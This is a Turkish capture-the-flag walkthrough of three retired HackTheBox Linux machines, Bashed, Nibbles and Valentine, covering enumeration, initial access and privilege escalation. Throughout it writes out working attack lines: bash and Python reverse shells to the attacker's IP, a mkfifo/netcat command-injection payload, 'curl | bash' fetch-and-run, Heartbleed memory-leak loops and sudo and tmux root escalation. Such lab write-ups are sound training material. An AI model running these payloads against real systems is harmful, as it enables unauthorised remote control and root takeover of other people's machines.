HackTheBox Günlükleri | 3 Unix Machines Walkthrough TR
Bu yazımda HackTheBox’dan birbirinden farklı priv-escalation tekniği içeren 3 emekli Unix makinenin çözümlerini ve çözüme giderken yaptığımız incelemeleri açıklayıp Sizlerle paylaşacağım;
- Bashed
- Nibbles
- Valentine
1. Bashed
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV -oA bashed 10.10.10.68
Çıktılara bakalım;
80 Portu açık burdan Apache sürümüyle ubuntu versiyonu bulmaya çalışalım. Ayrıca 10.10.10.68’e Web’de gidip inceleyelim;
Şimdi dizin taralayım;
/opt/gobuster/gobuster -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Çıktılara bakalım;
Tek tek bakıp dizinleri inceledik ama faydalı bir çıktı bulamadık. Burp ile araya girip bakınca da iyi bir çıktı edinemedik. Sonlara doğru /dev’e bakınca bişey yakaladık gibi;
Burda phpbash.php’ye tıklayınca WebShell olduğunu gördük;
Shell’i inceleyelim; “id” ile bakınca www-data kullanıcısı olduğumuzu gördük. Simdi içine bi Priv-check script’i atmaya çalışalım; LinEnum.sh’ı kullanalım.
Bunun için LinEnum bulunan dizinimizde bir Python Server açalım;
python -m SimpleHTTPServer 80
Şimdi erişim kurduğumuz shell’de curl ve wget’e bakalım. Wget varmış o halde çekip çalıştıralım;
wget 10.10.14.28/LinEnum.sh
bash LinEnum.sh
LinEnum Çıktılarını inceleyelim. Burda şunu gördük scriptmanager kullanıcısı şifresiz işlem yapabiliyor.
Ancak webshell den işlem yapamıyoruz. Terminal Shell’i almamız lazım. Şimdi bash reverse shell deniyelim;
Kendi makinemizde;
nc -lvnp 8081
Webshell’de;
bash -i >& /dev/tcp/10.10.14.28/8081 ->&1
Ancak düşmedi. Bu sefer /upload’a erişebildiğimizden burada dosya yaratıp reverse shell’i çağırmaya çalışalım.
Burda IP ve Port’u editleyelim;
PHP Reverse Shell hazırlayalım. Kendi makinemizde hazırladığımız php reverse shell’i yollamak üzere python server açalım;
python -m SimpleHTTPServer 80
Ve webshell’de /upload klasörüne gidelim. Sonra bu shell’i çekelim;
wget 10.10.14.28/php-reverse-shell.php
Şimdi kendi makinemizde bir dinleyici başlatalım;
nc -lvnp 8082
Ardından upload klasöründe;
Ve shell geldi;
Burda shell’i rahat kullanmak için python shell yükleyelim;
python -c ‘import pty;pty.spawn(“/bin/bash”)’
Ardından LinEnum.sh atıp bulduğumuz scriptmanager kısmı sayesinde ona user olarak geçelim ;
sudo -u scriptmanager bash
Ve ls -la ile process kontrolü yaptığımızda scriptmanager’ın yetkin olduğu scripts process’ini gördük. Bu process’i editleyip bash shell’i almaya çalışalım.
Ve User aldık!
Scripts klasörüne girince iki adet dosya olduğunu gördük. Şimdi bu dosyalardan test’py’i editleme hakkımız var bizde editleyelim ve bize root yetkisinde çalıştığından root shell’i almaya çalışalım. Bunun için içerisine Python reverse shell atalım;
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.28",8083));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Ve ardından kendi makinemizde dinleyici açalım;
nc -lvnp 8083
Ardından çalıştıralım;
python test.py
Ve root olduk!
2. Nibbles
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV -oA bashed 10.10.10.75
80 Portu açıkmış. Siteye girip baktık bi “ Hello world “ yazısı var sadece. O nedenle birde Burp ile araya girip bakalım. Responce bölümünde;
Kısmını gördük. Şimdi path’i ziyaret edelim.
Şimdi nibbleblog için zafiyetlere bakalım;
searchsploit nibbleblog
Burda SQL Injection’a bakalım;
searchsploit -m exploits/php/webapps/35865.txt
Ancak metasploit kullanmayalım.
Google’dan nibbleblog’un admin panelini ve default şifresini aratınca aşağıdaki bilgilere ulaştık;
Admin Page : admin.php
Default Login : admin — nibbles
Ve araştırınca dikkatimizi birde code exec çekti;
O nedele adım adım uygulayalım ve php reverse shell’i yükleyelim. PHP Shell’i yüklemek için;
“…nibbleblog/content/private/plugins/my_image/image.php “ ye gidelim.
Burada parametre olarak “?ipp” ekleyelim. Peşine Burp ile araya girip tekrar istek atınca exploit’deki gibi code exec olduğundan bizde önce kendimizde dinleyici açalım;
nc -lvnp 9001
Burp’te de request’e
ipp=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.14.27 9001 >/tmp/f
Ve Komutu da url encode edip yollayalım.
Shell aldık !
Şimdi python shell yükleyip rahat hareket edelim;
Ancak Python yok o nedenle python3 ‘e which ile bakalım. Ve var;
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
Ardından root olarak kontrol edebileceğimiz uygulamalara bakalım;
sudo -l
Burda monitor.sh’ın root olarak kullanıldığı ve şifre istemediğini öğrendik. Ancak editleyemiyoruz.
O nedenle dosya yaratıp editleyebileceğimiz bir klasöre gidelim;
cd /home/nibbles
Şimdi aynı isimde dosya oluşturup içine reverse shell atalım;
echo “bash” > monitor.sh
Ardından içine girip;
#!/bin/sh
bash
Şimdi hak verip çalıştıralım;
chmod +x monitor.sh
sudo ./monitor.sh
Root Olduk !
3. Valentine
Şimdi resimleri oldukça az tutacağım çünkü ansiklopediye dönüşmeye başladı yazı :)
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV -oA bashed 10.10.10.79
Portlardan 22, 80, 443 açık.
Nmap ile vulnerability scan yapalım;
nmap — script vuln 10.10.10.79
O sırada birde path taraması yapalım;
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.79 -t 50
O sırada nmap vuln çıktısı verdi! Heartbleed var!
Özellikle tekrar emin;
sslyze — heartbleed 10.10.10.79:443
Bingo !
“ Python hearhbleed github “ olarak aratıp script bulalım. Çalıştıralım.
https://gist.github.com/eelsivart/10174134
python hearthbleed.py 10.10.10.79
Bu sayede aradaki trafiği okuyabiliyoruz. Ondan bu komutu seri olarak çalıştırıp okuyalım;
for i in $(seq 0 100); do python heartbleed.py 10.10.10.79; done
Veya;
python heartbleed.py -n 100 10.10.10.79
Üstüste request atıp baktığımızda bi base64 var. Bunu çeviriyoruz ve çıktı;
heartbleedblievehype
Birde gobuster atalım;
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.79 -t 50
Gobuster çıktı verdi; /dev ve /omg’ye baktık dev de bir hype_key bulduk. Bunu alıp hex to ascii ile çevirdik ve RSA PRIVATE KEY çıktı.
Bunu alıp hype.key dosyası yaratıp içine atalım. Ardından;
chmod 600 hype.key
ssh -i hype.key hype@10.10.10.79 Burada şifre soruyor.
Bulduğumuz şifreyi giriyoruz ve oldu!
Shell aldık !
Ilk olarak makineye Linenum.sh atalım ve inceleyelim.
python -m SimpleHTTPServer 80
Ve webshell’de /upload klasörüne gidelim. Sonra bu shell’i çekelim;
curl 10.10.14.23:8000/LinEnum.sh | bash
Incelediğimiz de elle tutulur fazla bişey bulamadık.
Bi bash history’e ve bazı metriklere bakalım;
cat ~/.bash_history
ps -ef |grep root
Burda kendi user’ımızın bash history’sinde rastladığımız ;
/usr/bin/tmux -S /.devs/dev_sess
Detaylarına bakalım;
ls -la /.devs/dev_sess baktığımız da rw var.
Shell’e;
tmux -S /.devs/dev_sess yazınca
Root olduk!